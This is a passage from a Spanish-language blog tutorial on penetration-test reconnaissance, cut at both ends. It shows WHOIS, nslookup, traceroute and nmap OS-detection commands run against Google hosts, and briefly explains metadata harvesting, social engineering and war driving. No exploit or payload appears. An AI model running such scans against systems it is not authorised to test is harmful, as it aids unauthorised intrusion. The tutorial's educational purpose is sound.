&lt;span style=&quot;color: #888888;&quot;&gt;Parent:         NET173 (NET-173-0-0-0-0)&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;NetType:        Direct Allocation&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;OriginAS:       AS15169&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Organization:   Google Inc. (GOGL)&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;RegDate:        2009-08-17&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Updated:        2012-02-24&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Ref:            http://whois.arin.net/rest/net/NET-173-194-0-0-1&lt;/span&gt;


&lt;span style=&quot;color: #888888;&quot;&gt;OrgName:        Google Inc.&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;OrgId:          GOGL&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address:        1600 Amphitheatre Parkway&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;City:           Mountain View&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;StateProv:      CA&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;PostalCode:     94043&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Country:        US&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;RegDate:        2000-03-30&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Updated:        2013-08-07&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Ref:            http://whois.arin.net/rest/org/GOGL&lt;/span&gt;

&lt;span style=&quot;color: #888888;&quot;&gt;OrgTechHandle: ZG39-ARIN&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;OrgTechName:   Google Inc&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;OrgTechPhone:  +1-650-253-0000 &lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;OrgTechEmail:  arin-contact@google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;OrgTechRef:    http://whois.arin.net/rest/poc/ZG39-ARIN&lt;/span&gt;

&lt;span style=&quot;color: #888888;&quot;&gt;OrgAbuseHandle: ZG39-ARIN&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;OrgAbuseName:   Google Inc&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;OrgAbusePhone:  +1-650-253-0000 &lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;OrgAbuseEmail:  arin-contact@google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;OrgAbuseRef:    http://whois.arin.net/rest/poc/ZG39-ARIN&lt;/span&gt;


&lt;span style=&quot;color: #888888;&quot;&gt;#&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;# ARIN WHOIS data and services are subject to the Terms of Use&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;# available at: https://www.arin.net/whois_tou.html&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;#&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;# If you see inaccuracies in the results, please report at&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;# http://www.arin.net/public/whoisinaccuracy/index.xhtml&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;#&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Y como mencionamos anteriormente pueden optar usarla a traves de los sitios web que la ofrecen por ejemplo &lt;b&gt;&lt;a href=&quot;http://centralops.net/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;centralops&lt;/a&gt;&amp;nbsp;&lt;/b&gt;o bien &lt;b&gt;&lt;a href=&quot;http://cqcounter.com/whois/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;cqcounter&lt;/a&gt;&amp;nbsp;&lt;/b&gt;esta ultima con Geo localización.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_OoKVyXZPlVkm6vjILNhzlBuSv4JN1o1Ak09Bqk69RKsSmqyeHxKuGwy4ww-fiV-tPUSSwtMj2nYz0pc8KaLcmSkw0IIg2T7DYY52TtZUzfRu0hm5Z983YYIjqp1y9jfsBtUlj5lAVIw/s1600/whois-online.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_OoKVyXZPlVkm6vjILNhzlBuSv4JN1o1Ak09Bqk69RKsSmqyeHxKuGwy4ww-fiV-tPUSSwtMj2nYz0pc8KaLcmSkw0IIg2T7DYY52TtZUzfRu0hm5Z983YYIjqp1y9jfsBtUlj5lAVIw/s1600/whois-online.png&quot; height=&quot;369&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
Como podrán notar con esta herramienta se puede extraer una gran cantidad de información como direcciones, DNS, correos, Etc..&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Realizando consultas DNS: &lt;/b&gt;Igualmente podemos recolectar información realizando consultas de DNS, &lt;b&gt;Nslookup&amp;nbsp;&lt;/b&gt;Es un programa, utilizado para saber si el DNS está resolviendo correctamente los nombres de dominio y las IPs. el comando lo podemos encontrar tanto en windows como sistemas &lt;b&gt;Unix.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
La recolección de información se realiza también desde el DNS, ya que proporciona un poco de información pública y privada en algún momento, acerca de los servidores de la organización como la dirección IP, el nombre del servidor. existen diversas herramientas que interactúan con los servidores DNS como son &lt;b&gt;nslookup y&lt;/b&gt;&amp;nbsp;&lt;b&gt;dig&lt;/b&gt;,&lt;br /&gt;
&lt;br /&gt;
El siguiente ejemplo muestra la salida de una consulta sencilla con &lt;b&gt;nslookup &lt;/b&gt;a &lt;b&gt;google.com&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[Antony@Server ~]$&lt;/span&gt; nslookup 
&lt;span style=&quot;color: #888888;&quot;&gt;&amp;gt; google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Server:  74.63.208.3&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address: 74.63.208.3#53&lt;/span&gt;

&lt;span style=&quot;color: #888888;&quot;&gt;Non-authoritative answer:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Name: google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address: 74.125.227.201&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Name: google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address: 74.125.227.193&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Name: google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address: 74.125.227.198&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Name: google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address: 74.125.227.192&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Name: google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address: 74.125.227.206&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Name: google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address: 74.125.227.194&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Name: google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address: 74.125.227.199&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Name: google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address: 74.125.227.200&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Name: google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address: 74.125.227.197&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Name: google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address: 74.125.227.196&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Name: google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address: 74.125.227.195&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; &lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
En este otro ejemplo se realiza nuevamente se consulta con&amp;nbsp;&lt;b&gt;nslookup ,&amp;nbsp;&lt;/b&gt;con el fin de identificar las ip y registros MX correspondiente a google y asi identificar posibles servidores de correo.&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[Antony@Server ~]$&lt;/span&gt; nslookup
&lt;span style=&quot;color: #888888;&quot;&gt;&amp;gt; set type=mx&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;&amp;gt; google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Server:  74.63.208.3&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address: 74.63.208.3#53&lt;/span&gt;

&lt;span style=&quot;color: #888888;&quot;&gt;Non-authoritative answer:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;google.com mail exchanger = 30 alt2.aspmx.l.google.com.&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;google.com mail exchanger = 40 alt3.aspmx.l.google.com.&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;google.com mail exchanger = 20 alt1.aspmx.l.google.com.&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;google.com mail exchanger = 10 aspmx.l.google.com.&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;google.com mail exchanger = 50 alt4.aspmx.l.google.com.&lt;/span&gt;

&lt;span style=&quot;color: #888888;&quot;&gt;Authoritative answers can be found from:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;alt2.aspmx.l.google.com internet address = 64.233.171.27&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;alt3.aspmx.l.google.com internet address = 74.125.141.27&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;alt1.aspmx.l.google.com internet address = 74.125.137.27&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;aspmx.l.google.com internet address = 64.233.169.27&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;alt4.aspmx.l.google.com internet address = 64.233.186.27&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
El resultado nos arroja varios servidores alternos de correos de google y los valores de prioridad de estos, el valor mas bajo tiene mayor prioridad.&lt;br /&gt;
&lt;br /&gt;
También podemos obtener información del servidor de nombres de una organización escribiendo los siguientes parámetros.&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[Antony@Server ~]$&lt;/span&gt; nslookup
&lt;span style=&quot;color: #888888;&quot;&gt;&amp;gt; set type=ns&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;&amp;gt; google.com&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Server:  74.63.208.3&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Address: 74.63.208.3#53&lt;/span&gt;

&lt;span style=&quot;color: #888888;&quot;&gt;Non-authoritative answer:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;google.com nameserver = ns4.google.com.&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;google.com nameserver = ns1.google.com.&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;google.com nameserver = ns3.google.com.&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;google.com nameserver = ns2.google.com.&lt;/span&gt;

&lt;span style=&quot;color: #888888;&quot;&gt;Authoritative answers can be found from:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;ns4.google.com internet address = 216.239.38.10&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;ns1.google.com internet address = 216.239.32.10&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;ns3.google.com internet address = 216.239.36.10&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;ns2.google.com internet address = 216.239.34.10&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
El resultado nos muestra que existen cuatro servidores DNS.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;MetaDatos&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Es una técnica útil para recolectar información que se encuentran contenidos en los ficheros.&amp;nbsp;Los metadatos son datos altamente estructurados que describen información sobre un objeto en este caso un fichero. en el podemos encontrar el autor, fecha de creacion, nombre del equipo, sistema operativo.&lt;br /&gt;
&lt;br /&gt;
Existen diversas herramientas para la obtencion y analisis de los metadatos una de las mas conocida es &lt;b&gt;FOCA (Fingerprinting Organizations with Collected Archives)&amp;nbsp;&amp;nbsp;&lt;/b&gt;soporta los siguientes tipos de documentos:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Microsoft Office de la versión 97 a la 2007&lt;/li&gt;
&lt;li&gt;OpenOffice&lt;/li&gt;
&lt;li&gt;Portable Document Format (pdf)&lt;/li&gt;
&lt;li&gt;Corel Word Perfect document (wpd)&lt;/li&gt;
&lt;li&gt;Joint Photographic Experts Group (jpg)&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Ingeniería&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&amp;nbsp;Social&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
y &amp;nbsp;por ultimo y no menos importante esta tecnica es el pan de cada dia de muchos delicuentes y no solo es usada por hackers informaticos, sino por estafadores de todo tipo. como las populares llamadas telefonicas, correos, phising. etc... esta&amp;nbsp;práctica se usa con el fin de obtener información confidencial a través de la manipulación de usuarios legítimos. Es una técnica que pueden usar ciertas personas, tales como investigadores privados, criminales, o delincuentes informáticos, para obtener información, acceso o privilegios en sistemas de información que les permitan realizar algún acto que perjudique o exponga la persona u organismo comprometido a riesgo o abusos.&lt;br /&gt;
&lt;br /&gt;
si has realizado encuestas si algun dias has digitado o dado tus datos personales sin saber realmente quien esta detras de esa llamada, correo, encuesta, o herramienta, posiblemente has sido objeto de esta practica común.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Locating the network range&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
El siguiente paso del proceso de recopilación de información es tratar de identificar el rango de direcciones IP junto con su máscara de subred del objetivo.&lt;br /&gt;
&lt;br /&gt;
Para encontrar el rango de la red, el auditor puede trazar la ruta entre su sistema y el sistema de objetivo.&amp;nbsp;Hay muchas herramientas de traceroute hoy en dia que nos entrega como resultados&amp;nbsp;graficas de los nodos traceados como es&amp;nbsp;&lt;a href=&quot;http://www.monitis.com/traceroute/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;V&lt;/a&gt;&lt;b&gt;&lt;a href=&quot;http://www.monitis.com/traceroute/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;isual Trace Route Tool&lt;/a&gt;&lt;/b&gt;. los que son mas de consola pueden seguir optando por el comando &lt;b&gt;Traceroute o Tracert &lt;/b&gt;en windows. Es un comando simple pero de gran utilidad en auditorias de seguridad, si se desea obtener el traceado de una ip de un atacante o bien de un objetivo, hay es cuando aparece el comando el cual&amp;nbsp;nos muestra una traza de la dirección es decir nos permite seguir los saltos de host, puntos de red o nodos como quieran llamarlos. con ella el auditor puede obtener información relevante sobre el objetivo.&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
En el siguiente ejemplo se utiliza el comando &lt;b&gt;traceroute&lt;/b&gt; desde del punto de vista de un auditor o atacante informático, con el propósito de identificar host&#39;s implicados en el paquete o ataque.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[Antony@Server ~]$&lt;/span&gt; traceroute 173.194.112.80
&lt;span style=&quot;color: #888888;&quot;&gt;traceroute to 173.194.112.80 (173.194.112.80), 30 hops max, 40 byte packets&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; 1  XXXXXXXXXXXXXX.static.reverse.lstn.net (XXX.XXX.XXX.XXX)  0.698 ms  0.848 ms  1.058 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; 2  XXXXXXXXXXXXXX.dallas-idc.com (&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;XXX.XXX.XXX.XXX&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;)  1.485 ms  1.530 ms  1.568 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; 3  XXXXXXXXXXXXXX.dallas-idc.com (&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;XXX.XXX.XXX.XXX&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;)  0.254 ms XXXXXXXXXXXX.dallas-idc.com (&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;XXX.XXX.XXX.XXX&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;)  0.278 ms XXXXXXXXXXXXXXXXX.dallas-idc.com (&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;XXX.XXX.XXX.XXX&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;)  0.282 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; 4  172.22.1.17 (172.22.1.17)  0.644 ms 172.22.1.13 (172.22.1.13)  2.428 ms  2.552 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; 5  xe-2-1-1.mpr1.dfw15.us.above.net (209.249.11.165)  0.234 ms  0.210 ms  0.205 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; 6  ae4.cr1.dfw2.us.zip.zayo.com (64.125.21.6)  0.724 ms  0.660 ms  0.707 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; 7  ae11.er1.dfw2.us.zip.zayo.com (64.125.20.66)  0.377 ms  0.583 ms  0.577 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; 8  72.14.194.53 (72.14.194.53)  0.448 ms  0.627 ms  0.421 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; 9  209.85.244.120 (209.85.244.120)  0.551 ms  0.547 ms 209.85.244.122 (209.85.244.122)  0.723 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;10  66.249.95.198 (66.249.95.198)  122.528 ms  122.443 ms  122.649 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;11  72.14.238.91 (72.14.238.91)  19.112 ms 209.85.142.206 (209.85.142.206)  21.873 ms 72.14.238.91 (72.14.238.91)  19.038 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;12  216.239.48.150 (216.239.48.150)  42.934 ms 216.239.48.41 (216.239.48.41)  42.377 ms  42.457 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;13  216.239.48.155 (216.239.48.155)  120.624 ms  120.609 ms  120.544 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;14  209.85.143.217 (209.85.143.217)  110.861 ms 209.85.251.49 (209.85.251.49)  113.830 ms  113.687 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;15  72.14.235.14 (72.14.235.14)  121.715 ms 209.85.243.34 (209.85.243.34)  122.293 ms  122.448 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;16  72.14.234.234 (72.14.234.234)  119.539 ms 72.14.234.236 (72.14.234.236)  118.813 ms  118.698 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;17  72.14.236.53 (72.14.236.53)  121.589 ms  121.623 ms  122.190 ms&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;18  fra07s29-in-f16.1e100.net (173.194.112.80)  119.467 ms  119.241 ms  119.211 ms&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
En el resultado del ejemplo se puede identificar los host por los cuales pasa un paquete de red entre el equipo de origen y el equipo destino, los tres primeros salton hacen parte del equipo de origen, el resto es el camino que tomo ese paquete para llegar al equipo destino.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Identifying active machines&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Antes de intentar cualquier pentest, primero tenemos que identificar las máquinas activas que están en el alcance de la red de destino. Es importante tratar de detectar equipos activos en la red de destino por varios razones:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Ayuda a completar los detalles precisos en el mapa de la red que se está creando.&lt;/li&gt;
&lt;li&gt;Identifica el perímetro y el límite exterior del sistema de destino.&lt;/li&gt;
&lt;li&gt;Ayuda a crear un inventario de los sistemas que son accesibles en la red de destino.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Traceroute&lt;/b&gt;, &lt;b&gt;Ping &amp;nbsp;y Nmap&lt;/b&gt;&amp;nbsp; son herramientas útiles para la identificación de los sistemas activos.&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;PING&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Este comando ICMP lo que podemos encontrar en todos los S.O nos permite validar que equipos se encuentran activos o bien responden un mensaje ICMP. &lt;b&gt;Ping &lt;/b&gt;nos puede dar detalles para medir la velocidad a la que los paquetes viajan a través de la red, y para obtener algunos datos básicos sobre el objetivo, al igual que Time-To-Live (TTL). También se puede utilizar para la resolución de nombres de host. &lt;b&gt;Ping&lt;/b&gt;&amp;nbsp;funciona muy simple. Se envía una solicitud de eco a un host de destino y espera a que el objetivo envié una respuesta eco. Así podemos hacer un barrido con ping y conocer los equipos que se encuentran activos.&lt;br /&gt;
&lt;br /&gt;
Para eso pueden hacer uso de diversas herramientas que hacen uso de P&lt;b&gt;ing &lt;/b&gt;o scanner de red. también se puede hacer uso de &lt;b&gt;Nmap&lt;/b&gt;&amp;nbsp;el cual también puede realizar esta tarea.&lt;br /&gt;
&lt;br /&gt;
Hay que recordar que si detrás del objetivo existe un buen admin este posiblemente se encuentre protegido de los barridos de ping.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Detecting operating systems and Finding open ports and applications&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
Ya ahora que conocemos mas o menos el tamaño de la red y hemos identificado las maquinas disponibles, como auditor debemos &amp;nbsp;obtener los puertos abiertos en esas máquinas y descubrir los servicios disponibles e identificar el sistema operativo.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La determinación del tipo de S.O es también un objetivo de la exploración, ya que esto determinará&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
el tipo de ataque que se lanzará. al igual que las versiones para conocer la existencia de vulnerabilidades expuestas en las BD de seguridad y asi explotarlas.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Las técnicas para identificar estos puertos y descubrir los servicios son:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Port scanning:&amp;nbsp;&lt;/b&gt;se emplea para designar la acción de analizar por medio de un programa el estado de los puertos de una máquina conectada a una red de comunicaciones. Detecta si un puerto está abierto, cerrado, o protegido por un cortafuegos&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Banner grabbing :&amp;nbsp;&lt;/b&gt;es una técnica de enumeración utilizado para recopilar información acerca de un sistema informático en una red y los servicios que se ejecutan en sus puertos abiertos&lt;/li&gt;
&lt;li&gt;&lt;b&gt;War walking or War Driving: &lt;/b&gt;Se usa para describir la accion de salir en busquedas de redes wifi ya sea caminando o en auto. es una practica comun para intentar obtener acceso a la red privada del objetivo&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
No pasare a explicar estos temas ya que se han detallado en otros artículos pasados. y son practica sencillas del dia a dia.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Las guías también nos hablan de &lt;b&gt;War Dialing&lt;/b&gt; ya poco usadas o definitivamente eliminadas por los nuevos conceptos de red :&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;War dialing:&amp;nbsp;&lt;/b&gt;técnica utilizada durante las décadas de los años 1980 y 1990, que consistía en hacer llamadas a una serie de números de teléfono automáticamente con el fin de encontrar módems conectados y permitiendo la conexión con algún otro ordenador&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Ademas de las herramientas ya anteriormente nombradas y nuestro querido &lt;b&gt;Nmap. &lt;/b&gt;existen miles de estas que pueden ayudarnos a encontrar esta información.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Nmap &lt;/b&gt;nos ofrece parametros para intentar identificar el sistema operativo del host, como tambien existe scripts para &lt;b&gt;Nmap &lt;/b&gt;que fuerza la busqueda de las versiones del S.O y nos puede dar con mas claridad y certeza la version del sistema un ejemplo de identificacion seria el siguiente sigamos tomando como ejemplo la direccion dada de un servidor de &lt;b&gt;google.com&amp;nbsp;173.194.112.80.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Los parametros que podriamos usar en &lt;b&gt;Nmap &lt;/b&gt;para identificar S.O serian los siguientes:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;-sV = detecta las versiones&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;-O = se intenta identificar el Sistema Operativo&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;-A = habilita OS fingerprinting y detección de versión&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;-P &amp;nbsp;= Establece el puerto a scanear ejemplo &quot;139&quot; puerto NetBios&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #888888;&quot;&gt;C:\Users\Antony&amp;gt;nmap -O 173.194.112.80&lt;/span&gt;

&lt;span style=&quot;color: #888888;&quot;&gt;Starting Nmap 6.40 ( http://nmap.org ) at 2015-04-15 17:33 Hora est. PacÝfico, SudamÚrica&lt;/span&gt;
